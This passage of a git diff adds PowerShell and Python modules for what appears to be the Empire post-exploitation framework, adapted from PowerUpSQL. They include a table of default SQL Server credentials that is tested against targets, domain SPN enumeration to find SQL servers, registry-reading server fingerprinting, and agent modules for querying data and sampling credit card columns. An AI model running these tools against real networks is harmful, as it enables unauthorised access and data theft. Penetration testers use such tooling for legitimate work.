$DefaultPasswords.Rows.Add("RTCLOCAL","sa","mypassword") | Out-Null + $DefaultPasswords.Rows.Add("SALESLOGIX","sa","SLXMaster") | Out-Null + $DefaultPasswords.Rows.Add("SIDEXIS_SQL","sa","2BeChanged") | Out-Null + $DefaultPasswords.Rows.Add("SQL2K5","ovsd","ovsd") | Out-Null + $DefaultPasswords.Rows.Add("SQLEXPRESS","admin","ca_admin") | out-null + $DefaultPasswords.Rows.Add("STANDARDDEV2014","test","test") | Out-Null + $DefaultPasswords.Rows.Add("TEW_SQLEXPRESS","tew","tew") | Out-Null + $DefaultPasswords.Rows.Add("vocollect","vocollect","vocollect") | Out-Null + $DefaultPasswords.Rows.Add("VSDOTNET","sa","") | Out-Null + $DefaultPasswords.Rows.Add("VSQL","sa","111") | Out-Null + + $PwCount = $DefaultPasswords | measure | select count -ExpandProperty count + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if (-not $Instance) { + $Instance = $env:COMPUTERNAME + } + + # Grab only the instance name + $TargetInstance = $Instance.Split("\")[1] + + # Bypass ports and default instances + if (-not $TargetInstance) { + "$Instance : No instance match found. `n" + return + } + $TblResultsTemp = $DefaultPasswords | Where-Object { $_.instance -eq "$TargetInstance"} + + if ($TblResultsTemp) { + "$Instance : Confirmed instance match. `n" + } else { + "$Instance : No instance match found. `n" + return + } + $CurrentUsername = $TblResultsTemp.username + $CurrentPassword = $TblResultsTemp.password + $LoginTest = Get-SQLServerInfo -Instance $instance -Username $CurrentUsername -Password $CurrentPassword -SuppressVerbose + if ($LoginTest) { + "$Instance : Confirmed default credentials - $CurrentUsername/$CurrentPassword `n`n" + $SysadminStatus = $LoginTest | select IsSysadmin -ExpandProperty IsSysadmin + $TblResults.Rows.Add( + $ComputerName, + $Instance, + $CurrentUsername, + $CurrentPassword, + $SysadminStatus + ) | Out-Null + } else { + "$Instance : No credential matches were found. `n" + } + } End { + ForEach ($Result in $TblResults) { + "Computer : " + $Result.Computer + "`n" + "Instance : " + $Result.Instance + "`n" + "Username : " + $Result.Username + "`n" + "Password : " + $Result.Password + "`n" + "IsSysAdmin : " + $Result.IsSysAdmin + "`n" + "`n" + } + } +} \ No newline at end of file diff --git a/data/module_source/situational_awareness/Get-SQLInstanceDomain.ps1 b/data/module_source/situational_awareness/Get-SQLInstanceDomain.ps1 new file mode 100644 index 0000000..9e76887 --- /dev/null +++ b/data/module_source/situational_awareness/Get-SQLInstanceDomain.ps1 @@ -0,0 +1,260 @@ +Function Get-DomainObject { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'Domain user to authenticate with domain\user.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'Domain password to authenticate with domain\user.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'Domain controller for Domain and Site that you want to query against.')] + [string]$DomainController, + [Parameter(Mandatory = $false, + HelpMessage = 'LDAP Filter.')] + [string]$LdapFilter = '', + [Parameter(Mandatory = $false, + HelpMessage = 'LDAP path.')] + [string]$LdapPath, + [Parameter(Mandatory = $false, + HelpMessage = 'Maximum number of Objects to pull from AD, limit is 1,000 .')] + [int]$Limit = 1000, + [Parameter(Mandatory = $false, + HelpMessage = 'scope of a search as either a base, one-level, or subtree search, default is subtree.')] + [ValidateSet('Subtree','OneLevel','Base')] + [string]$SearchScope = 'Subtree' + ) + Begin { + if($Username -and $Password) { + $secpass = ConvertTo-SecureString $Password -AsPlainText -Force + $Credential = New-Object -TypeName System.Management.Automation.PSCredential -ArgumentList ($Username, $secpass) + } + if ($DomainController) { + $objDomain = (New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController", $Credential.UserName, $Credential.GetNetworkCredential().Password).distinguishedname + if($LdapPath) { + $LdapPath = '/'+$LdapPath+','+$objDomain + $objDomainPath = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController$LdapPath", $Credential.UserName, $Credential.GetNetworkCredential().Password + } else { + $objDomainPath = New-Object -TypeName System.DirectoryServices.DirectoryEntry -ArgumentList "LDAP://$DomainController", $Credential.UserName, $Credential.GetNetworkCredential().Password + } + $objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath + } else { + $objDomain = ([ADSI]'').distinguishedName + if($LdapPath) { + $LdapPath = $LdapPath+','+$objDomain;$objDomainPath = [ADSI]"LDAP://$LdapPath" + } else { + $objDomainPath = [ADSI]'' + } + $objSearcher = New-Object -TypeName System.DirectoryServices.DirectorySearcher -ArgumentList $objDomainPath + } + $objSearcher.PageSize = $Limit + $objSearcher.Filter = $LdapFilter + $objSearcher.SearchScope = 'Subtree' + } Process { + try { + $objSearcher.FindAll() | % -Process {$_} + } catch { + "Error was $_" + $line = $_.InvocationInfo.ScriptLineNumber + "Error was in Line $line" + } + } End { + } +} + +Function Get-DomainSpn { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'Domain user to authenticate with domain\user.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'Domain password to authenticate with domain\user.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'Domain controller for Domain and Site that you want to query against.')] + [string]$DomainController, + [Parameter(Mandatory = $false, + HelpMessage = 'Computer name to filter for.')] + [string]$ComputerName, + [Parameter(Mandatory = $false, + HelpMessage = 'Domain account to filter for.')] + [string]$DomainAccount, + [Parameter(Mandatory = $false, + HelpMessage = 'SPN service code.')] + [string]$SpnService, + [Parameter(Mandatory = $false, + HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')] + [switch]$SuppressVerbose + ) + Begin { + if(-not $SuppressVerbose){'Getting domain SPNs...'} + $TableDomainSpn = New-Object -TypeName System.Data.DataTable + $null = $TableDomainSpn.Columns.Add('UserSid') + $null = $TableDomainSpn.Columns.Add('User') + $null = $TableDomainSpn.Columns.Add('UserCn') + $null = $TableDomainSpn.Columns.Add('Service') + $null = $TableDomainSpn.Columns.Add('ComputerName') + $null = $TableDomainSpn.Columns.Add('Spn') + $null = $TableDomainSpn.Columns.Add('LastLogon') + $null = $TableDomainSpn.Columns.Add('Description') + $TableDomainSpn.Clear() + } Process { + try { + $SpnFilter = '' + if($DomainAccount) { + $SpnFilter = "(objectcategory=person)(SamAccountName=$DomainAccount)" + } + if($ComputerName) { + $ComputerSearch = "$ComputerName`$" + $SpnFilter = "(objectcategory=computer)(SamAccountName=$ComputerSearch)" + } + $SpnResults = Get-DomainObject -LdapFilter "(&(servicePrincipalName=$SpnService*)$SpnFilter)" -DomainController $DomainController -Username $Username -Password $Password + $SpnResults | % -Process { + [string]$SidBytes = [byte[]]"$($_.Properties.objectsid)".split(' ') + [string]$SidString = $SidBytes -replace ' ', '' + $Spn = $_.properties.serviceprincipalname.split(',') + foreach ($item in $Spn) { + $SpnServer = $item.split('/')[1].split(':')[0].split(' ')[0] + $SpnService = $item.split('/')[0] + if ($_.properties.lastlogon) { + $LastLogon = [datetime]::FromFileTime([string]$_.properties.lastlogon).ToString('g') + } else { + $LastLogon = '' + } + $null = $TableDomainSpn.Rows.Add( + [string]$SidString, + [string]$_.properties.samaccountname, + [string]$_.properties.cn, + [string]$SpnService, + [string]$SpnServer, + [string]$item, + $LastLogon, + [string]$_.properties.description + ) + } + } + } catch { + "Error was $_" + $line = $_.InvocationInfo.ScriptLineNumber + "Error was in Line $line" + } + } End { + if ($TableDomainSpn.Rows.Count -gt 0) { + $TableDomainSpnCount = $TableDomainSpn.Rows.Count + if(-not $SuppressVerbose) { + "$TableDomainSpnCount SPNs found on servers that matched search criteria." + } + Return $TableDomainSpn + } else { + '0 SPNs found.' + } + } +} + +Function Get-SQLInstanceDomain { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'Domain user to authenticate with domain\user.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'Domain password to authenticate with domain\user.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'Domain controller for Domain and Site that you want to query against.')] + [string]$DomainController, + [Parameter(Mandatory = $false, + HelpMessage = 'Computer name to filter for.')] + [string]$ComputerName, + [Parameter(Mandatory = $false, + HelpMessage = 'Domain account to filter for.')] + [string]$DomainAccount, + [Parameter(Mandatory = $false, + HelpMessage = 'Performs UDP scan of servers managing SQL Server clusters.')] + [switch]$CheckMgmt, + [Parameter(Mandatory = $false, + HelpMessage = 'Timeout in seconds for UDP scans of management servers. Longer timeout = more accurate.')] + [int]$UDPTimeOut = 3 + ) + Begin { + $TblSQLServerSpns = New-Object -TypeName System.Data.DataTable + $null = $TblSQLServerSpns.Columns.Add('ComputerName') + $null = $TblSQLServerSpns.Columns.Add('Instance') + $null = $TblSQLServerSpns.Columns.Add('DomainAccountSid') + $null = $TblSQLServerSpns.Columns.Add('DomainAccount') + $null = $TblSQLServerSpns.Columns.Add('DomainAccountCn') + $null = $TblSQLServerSpns.Columns.Add('Service') + $null = $TblSQLServerSpns.Columns.Add('Spn') + $null = $TblSQLServerSpns.Columns.Add('LastLogon') + $null = $TblSQLServerSpns.Columns.Add('Description') + } Process { + "Grabbing SPNs from the domain for SQL Servers (MSSQL*)...`n" + $TblSQLServers = Get-DomainSpn -DomainController $DomainController -Username $Username -Password $Password -ComputerName $ComputerName -DomainAccount $DomainAccount -SpnService 'MSSQL*' -SuppressVerbose | + ? -FilterScript { $_.service -like 'MSSQL*' } + "Parsing SQL Server instances from SPNs...`n" + $TblSQLServers | % -Process { + $Spn = $_.Spn + $Instance = $Spn.split('/')[1].split(':')[1] + $Value = 0 + if([int32]::TryParse($Instance,[ref]$Value)) { + $SpnServerInstance = $Spn -replace ':', ',' + } else { + $SpnServerInstance = $Spn -replace ':', '\' + } + $SpnServerInstance = $SpnServerInstance -replace 'MSSQLSvc/', '' + $null = $TblSQLServerSpns.Rows.Add( + [string]$_.ComputerName, + [string]$SpnServerInstance, + $_.UserSid, + [string]$_.User, + [string]$_.Usercn, + [string]$_.Service, + [string]$_.Spn, + $_.LastLogon, + [string]$_.Description) + } + if($CheckMgmt) { + "Grabbing SPNs from the domain for Servers managing SQL Server clusters (MSServerClusterMgmtAPI)...`n" + $TblMgmtServers = Get-DomainSpn -DomainController $DomainController -Username $Username -Password $Password -ComputerName $ComputerName -DomainAccount $DomainAccount -SpnService 'MSServerClusterMgmtAPI' -SuppressVerbose | + ? -FilterScript { $_.ComputerName -like '*.*' } | select -Property ComputerName -Unique | sort -Property ComputerName + "Performing a UDP scan of management servers to obtain managed SQL Server instances...`n" + $TblMgmtSQLServers = $TblMgmtServers | select -Property ComputerName -Unique | Get-SQLInstanceScanUDP -UDPTimeOut $UDPTimeOut + } + } End { + if($CheckMgmt) { + "Parsing SQL Server instances from the UDP scan...`n" + $Tbl1 = $TblMgmtSQLServers | + Select-Object -Property ComputerName, Instance | + Sort-Object -Property ComputerName, Instance + $Tbl2 = $TblSQLServerSpns | + Select-Object -Property ComputerName, Instance | + Sort-Object -Property ComputerName, Instance + $Tbl3 = $Tbl1 + $Tbl2 + $InstanceCount = $Tbl3.rows.count + "$InstanceCount instances were found.`n`n" + ForEach ($Row in $Tbl3){ + "ComputerName : " + $Row.ComputerName + "`n" + "Instance : " + $Row.Instance + "`n" + "`n" + } + $Tbl3 + } else { + $InstanceCount = $TblSQLServerSpns.rows.count + "$InstanceCount instances were found." + ForEach ($Row in $TblSQLServerSpns) { + "ComputerName : " + $Row.ComputerName + "`n" + "Instance : " + $Row.Instance + "`n" + "DomainAccountSid : " + $Row.DomainAccountSid + "`n" + "DomainAccount : " + $Row.DomainAccount + "`n" + "DomainAccountCn : " + $Row.DomainAccountCn + "`n" + "Service : " + $Row.Service + "`n" + "Spn : " + $Row.Spn + "`n" + "LastLogon : " + $Row.LastLogon + "`n" + "Description : " + $Row.Description + "`n" + "`n" + } + $TblSQLServerSpns + } + } +} \ No newline at end of file diff --git a/data/module_source/situational_awareness/Get-SQLServerInfo.ps1 b/data/module_source/situational_awareness/Get-SQLServerInfo.ps1 new file mode 100644 index 0000000..6cd50c8 --- /dev/null +++ b/data/module_source/situational_awareness/Get-SQLServerInfo.ps1 @@ -0,0 +1,426 @@ +Function Get-ComputerNameFromInstance { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance.')] + [string]$Instance + ) + If ($Instance){$ComputerName = $Instance.split('\')[0].split(',')[0]} + else{$ComputerName = $env:COMPUTERNAME} + Return $ComputerName +} + +Function Get-SQLConnectionObject { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'Dedicated Administrator Connection (DAC).')] + [Switch]$DAC, + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut = 1 + ) + Begin { + if($DAC){$DacConn = 'ADMIN:'}else{$DacConn = ''} + if(-not $Database){$Database = 'Master'} + } Process { + if (-not $Instance) { + $Instance = $env:COMPUTERNAME + } + $Connection = New-Object -TypeName System.Data.SqlClient.SqlConnection + if(-not $Username) { + $AuthenticationType = "Current Windows Credentials" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;Connection Timeout=1" + } + if ($username -like "*\*") { + $AuthenticationType = "Provided Windows Credentials" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;Integrated Security=SSPI;uid=$Username;pwd=$Password;Connection Timeout=$TimeOut" + } + if (($username) -and ($username -notlike "*\*")) { + $AuthenticationType = "Provided SQL Login" + $Connection.ConnectionString = "Server=$DacConn$Instance;Database=$Database;User ID=$Username;Password=$Password;Connection Timeout=$TimeOut" + } + return $Connection + } End { + } +} + +Function Get-SQLConnectionTest { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [string]$TimeOut + ) + Begin { + $TblResults = New-Object -TypeName System.Data.DataTable + $null = $TblResults.Columns.Add('ComputerName') + $null = $TblResults.Columns.Add('Instance') + $null = $TblResults.Columns.Add('Status') + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if(-not $Instance) { + $Instance = $env:COMPUTERNAME + } + if($DAC) { + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -DAC -TimeOut $TimeOut -Database $Database + } else { + $Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database + } + try { + $Connection.Open() + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Accessible') + $Connection.Close() + $Connection.Dispose() + } catch { + $ErrorMessage = $_.Exception.Message + "$Instance : Connection Failed." + "Error: $ErrorMessage" + } + $null = $TblResults.Rows.Add("$ComputerName","$Instance",'Not Accessible') + } End { + $TblResults + } +} + +Function Get-SQLSession { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'PrincipalName.')] + [string]$PrincipalName + ) + Begin { + $TblSessions = New-Object -TypeName System.Data.DataTable + $null = $TblSessions.Columns.Add('ComputerName') + $null = $TblSessions.Columns.Add('Instance') + $null = $TblSessions.Columns.Add('PrincipalSid') + $null = $TblSessions.Columns.Add('PrincipalName') + $null = $TblSessions.Columns.Add('OriginalPrincipalName') + $null = $TblSessions.Columns.Add('SessionId') + $null = $TblSessions.Columns.Add('SessionStartTime') + $null = $TblSessions.Columns.Add('SessionLoginTime') + $null = $TblSessions.Columns.Add('SessionStatus') + if($PrincipalName) { + $PrincipalNameFilter = " and login_name like '$PrincipalName'" + } else { + $PrincipalNameFilter = '' + } + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if(-not $Instance) { + $Instance = $env:COMPUTERNAME + } + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | ? -FilterScript { + $_.Status -eq 'Accessible' + } + if(-not $TestConnection) { + "$Instance : Connection Failed." + return + } + $Query = " USE master; + SELECT '$ComputerName' as [ComputerName], + '$Instance' as [Instance], + security_id as [PrincipalSid], + login_name as [PrincipalName], + original_login_name as [OriginalPrincipalName], + session_id as [SessionId], + last_request_start_time as [SessionStartTime], + login_time as [SessionLoginTime], + status as [SessionStatus] + FROM [sys].[dm_exec_sessions] + ORDER BY status + $PrincipalNameFilter" + $TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + $TblResults | % -Process { + if ($NewSid) { + $NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','') + if ($NewSid.length -le 10) { + $Sid = [Convert]::ToInt32($NewSid,16) + } else { + $Sid = $NewSid + } + $null = $TblSessions.Rows.Add( + [string]$_.ComputerName, + [string]$_.Instance, + $Sid, + [string]$_.PrincipalName, + [string]$_.OriginalPrincipalName, + [string]$_.SessionId, + [string]$_.SessionStartTime, + [string]$_.SessionLoginTime, + [string]$_.SessionStatus) + } + } + } End { + $TblSessions + } +} + +Function Get-SQLSysadminCheck { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance + ) + Begin { + $TblSysadminStatus = New-Object -TypeName System.Data.DataTable + if($CredentialName) { + $CredentialNameFilter = " WHERE name like '$CredentialName'" + } else { + $CredentialNameFilter = '' + } + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if(-not $Instance) { + $Instance = $env:COMPUTERNAME + } + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | + ? -FilterScript { $_.Status -eq 'Accessible' } + if(-not $TestConnection) { + "$Instance : Connection Failed." + return + } + $Query = "SELECT '$ComputerName' as [ComputerName], + '$Instance' as [Instance], + CASE + WHEN IS_SRVROLEMEMBER('sysadmin') = 0 THEN 'No' + ELSE 'Yes' + END as IsSysadmin" + $TblSysadminStatusTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + $TblSysadminStatus = $TblSysadminStatus + $TblSysadminStatusTemp + } End { + $TblSysadminStatus + } +} + +Function Get-SQLQuery { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance, + [Parameter(Mandatory = $false, + HelpMessage = 'SQL Server query.')] + [string]$Query, + [Parameter(Mandatory = $false, + HelpMessage = 'Connect using Dedicated Admin Connection.')] + [Switch]$DAC, + [Parameter(Mandatory = $false, + HelpMessage = 'Default database to connect to.')] + [String]$Database, + [Parameter(Mandatory = $false, + HelpMessage = 'Connection timeout.')] + [int]$TimeOut, + [Parameter(Mandatory = $false, + HelpMessage = 'Return error message if exists.')] + [switch]$ReturnError + ) + Begin { + $TblQueryResults = New-Object -TypeName System.Data.DataTable + } Process { + if($DAC){$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -DAC -Database $Database} + else{$Connection = Get-SQLConnectionObject -Instance $Instance -Username $Username -Password $Password -TimeOut $TimeOut -Database $Database} + $ConnectionString = $Connection.Connectionstring + $Instance = $ConnectionString.split(';')[0].split('=')[1] + if($Query) { + $Connection.Open() + $Command = New-Object -TypeName System.Data.SqlClient.SqlCommand -ArgumentList ($Query, $Connection) + try { + $Results = $Command.ExecuteReader() + $TblQueryResults.Load($Results) + } catch { + # pass + } + $Connection.Close() + $Connection.Dispose() + } + else{'No query provided to Get-SQLQuery function.';Break} + } End { + if($ReturnError){$ErrorMessage} + else{$TblQueryResults} + } +} + +Function Get-SQLServerInfo { + [CmdletBinding()] + Param( + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account to authenticate with.')] + [string]$Username, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server or domain account password to authenticate with.')] + [string]$Password, + [Parameter(Mandatory = $false, + ValueFromPipelineByPropertyName = $true, + HelpMessage = 'SQL Server instance to connection to.')] + [string]$Instance + ) + Begin { + $TblServerInfo = New-Object -TypeName System.Data.DataTable + } Process { + $ComputerName = Get-ComputerNameFromInstance -Instance $Instance + if(-not $Instance) { + $Instance = $env:COMPUTERNAME + } + $TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password | + ? -FilterScript { + $_.Status -eq 'Accessible' + } + if(-not $TestConnection) { + "$Instance : Connection Failed." + return + } + $ActiveSessions = Get-SQLSession -Instance $Instance -Username $Username -Password $Password | + ? -FilterScript { $_.SessionStatus -eq 'running' } | measure -Line | select -Property Lines -ExpandProperty Lines + $IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Username $Username -Password $Password + if($IsSysadmin.IsSysadmin -eq 'Yes') { + $SysadminSetup = " + DECLARE @MachineType SYSNAME + EXECUTE master.dbo.xp_regread + @rootkey = N'HKEY_LOCAL_MACHINE', + @key = N'SYSTEM\CurrentControlSet\Control\ProductOptions', + @value_name = N'ProductType', + @value = @MachineType output + DECLARE @ProductName SYSNAME + EXECUTE master.dbo.xp_regread + @rootkey = N'HKEY_LOCAL_MACHINE', + @key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion', + @value_name = N'ProductName', + @value = @ProductName output" + $SysadminQuery = ' @MachineType as [OsMachineType], + @ProductName as [OSVersionName],' + } else { + $SysadminSetup = '' + $SysadminQuery = '' + } + + $Query = " + DECLARE @SQLServerInstance varchar(250) + DECLARE @SQLServerServiceName varchar(250) + if @@SERVICENAME = 'MSSQLSERVER' + BEGIN + set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER' + set @SQLServerServiceName = 'MSSQLSERVER' + END + ELSE + BEGIN + set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250)) + set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME as varchar(250)) + END + + DECLARE @ServiceaccountName varchar(250) + EXECUTE master.dbo.xp_instance_regread + N'HKEY_LOCAL_MACHINE', @SQLServerInstance, + N'ObjectName',@ServiceAccountName OUTPUT, N'no_output' + + DECLARE @AuthenticationMode INT + EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE', + N'Software\Microsoft\MSSQLServer\MSSQLServer', + N'LoginMode', @AuthenticationMode OUTPUT + + $SysadminSetup + + SELECT '$ComputerName' as [ComputerName], + @@servername as [Instance], + DEFAULT_DOMAIN() as [DomainName], + @SQLServerServiceName as [ServiceName], + @ServiceAccountName as [ServiceAccount], + (SELECT CASE @AuthenticationMode + WHEN 1 THEN 'Windows Authentication' + WHEN 2 THEN 'Windows and SQL Server Authentication' + ELSE 'Unknown' + END) as [AuthenticationMode], + CASE SERVERPROPERTY('IsClustered') + WHEN 0 + THEN 'No' + ELSE 'Yes' + END as [Clustered], + SERVERPROPERTY('productversion') as [SQLServerVersionNumber], + SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4) as [SQLServerMajorVersion], + serverproperty('Edition') as [SQLServerEdition], + SERVERPROPERTY('ProductLevel') AS [SQLServerServicePack], + SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3) as [OSArchitecture], + $SysadminQuery + RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows NT', @@VERSION), 14), 3) as [OsVersionNumber], + SYSTEM_USER as [Currentlogin], + '$IsSysadmin' as [IsSysadmin], + '$ActiveSessions' as [ActiveSessions]" + $TblServerInfoTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password + $TblServerInfo = $TblServerInfo + $TblServerInfoTemp + ForEach ($Row in $TblServerInfo) { + "ComputerName : " + $Row.ComputerName + "`n" + "Instance : " + $Row.Instance + "`n" + "DomainName : " + $Row.DomainName + "`n" + "ServiceName : " + $Row.ServiceName + "`n" + "ServiceAccount : " + $Row.ServiceAccount + "`n" + "AuthenticationMode : " + $Row.AuthenticationMode + "`n" + "Clustered : " + $Row.Clustered + "`n" + "SQLServerVersionNumber : " + $Row.SQLServerVersionNumber + "`n" + "SQLServerMajorVersion : " + $Row.SQLServerMajorVersion + "`n" + "SQLServerEdition : " + $Row.SQLServerEdition + "`n" + "SQLServerServicePack : " + $Row.SQLServerServicePack + "`n" + "OSArchitecture : " + $Row.OSArchitecture + "`n" + "OsMachineType : " + $Row.OsMachineType + "`n" + "OSVersionName : " + $Row.OSVersionName + "`n" + "OsVersionNumber : " + $Row.OsVersionNumber + "`n" + "Currentlogin : " + $Row.Currentlogin + "`n" + "IsSysadmin : " + $IsSysadmin.IsSysadmin + "`n" + "ActiveSessions : " + $Row.ActiveSessions + "`n" + "`n" + } + + } End { + } +} diff --git a/lib/modules/powershell/collection/get_sql_column_sample_data.py b/lib/modules/powershell/collection/get_sql_column_sample_data.py new file mode 100644 index 0000000..cb73c07 --- /dev/null +++ b/lib/modules/powershell/collection/get_sql_column_sample_data.py @@ -0,0 +1,111 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-SQLColumnSampleData', + 'Author': ['@_nullbind', '@0xbadjuju'], + 'Description': ('Returns column information from target SQL Servers. Supports ' + 'search by keywords, sampling data, and validating credit card ' + 'numbers.'), + 'Background' : True, + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + 'OpsecSafe' : True, + 'Language' : 'powershell', + 'MinPSVersion' : '2', + 'MinLanguageVersion' : '2', + + 'Comments': [ + 'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 'Agent' : { + 'Description' : 'Agent to run module on.', + 'Required' : True, + 'Value' : '' + }, + 'Username' : { + 'Description' : 'SQL Server or domain account to authenticate with.', + 'Required' : False, + 'Value' : '' + }, + 'Password' : { + 'Description' : 'SQL Server or domain account password to authenticate with.', + 'Required' : False, + 'Value' : '' + }, + 'Instance' : { + 'Description' : 'SQL Server instance to connection to.', + 'Required' : False, + 'Value' : '' + }, + 'NoDefaults' : { + 'Description' : 'Don\'t select tables from default databases.', + 'Required' : False, + 'Value' : '' + }, + 'CheckAll' : { + 'Description' : 'Check all systems retrieved by Get-SQLInstanceDomain.', + 'Required' : False, + 'Value' : '' + } + } + + self.mainMenu = mainMenu + for param in params: + # parameter format is [Name, Value] + option, value = param + if option in self.options: + self.options[option]['Value'] = value + + def generate(self): + + username = self.options['Username']['Value'] + password = self.options['Password']['Value'] + instance = self.options['Instance']['Value'] + no_defaults = self.options['NoDefaults']['Value'] + check_all = self.options['CheckAll']['Value'] + + # read in the common module source code + moduleSource = self.mainMenu.installPath + "data/module_source/collection/Get-SQLColumnSampleData.ps1" + script = "" + try: + with open(moduleSource, 'r') as source: + script = source.read() + except: + print helpers.color("[!] Could not read module source path at: " + str(moduleSource)) + return "" + + if check_all: + auxModuleSource = self.mainMenu.installPath + "data/module_source/situational_awareness/network/Get-SQLInstanceDomain.ps1" + try: + with open(auxModuleSource, 'r') as auxSource: + auxScript = auxSource.read() + script += " " + auxScript + except: + print helpers.color("[!] Could not read additional module source path at: " + str(auxModuleSource)) + script += " Get-SQLInstanceDomain " + if username != "": + script += " -Username "+username + if password != "": + script += " -Password "+password + script += " | " + script += " Get-SQLColumnSampleData" + if username != "": + script += " -Username "+username + if password != "": + script += " -Password "+password + if instance != "" and not check_all: + script += " -Instance "+instance + if no_defaults: + script += " -NoDefaults " + return script diff --git a/lib/modules/powershell/collection/get_sql_query.py b/lib/modules/powershell/collection/get_sql_query.py new file mode 100644 index 0000000..551cc2a --- /dev/null +++ b/lib/modules/powershell/collection/get_sql_query.py @@ -0,0 +1,89 @@ +from lib.common import helpers + +class Module: + + def __init__(self, mainMenu, params=[]): + + self.info = { + 'Name': 'Get-SQLQuery', + 'Author': ['@_nullbind', '@0xbadjuju'], + 'Description': ('Executes a query on target SQL servers.'), + 'Background' : True, + 'OutputExtension' : None, + + 'NeedsAdmin' : False, + 'OpsecSafe' : True, + 'Language' : 'powershell', + 'MinPSVersion' : '2', + 'MinLanguageVersion' : '2', + + 'Comments': [ + 'https://github.com/NetSPI/PowerUpSQL/blob/master/PowerUpSQL.ps1' + ] + } + + # any options needed by the module, settable during runtime + self.options = { + # format: + # value_name : {description, required, default_value} + 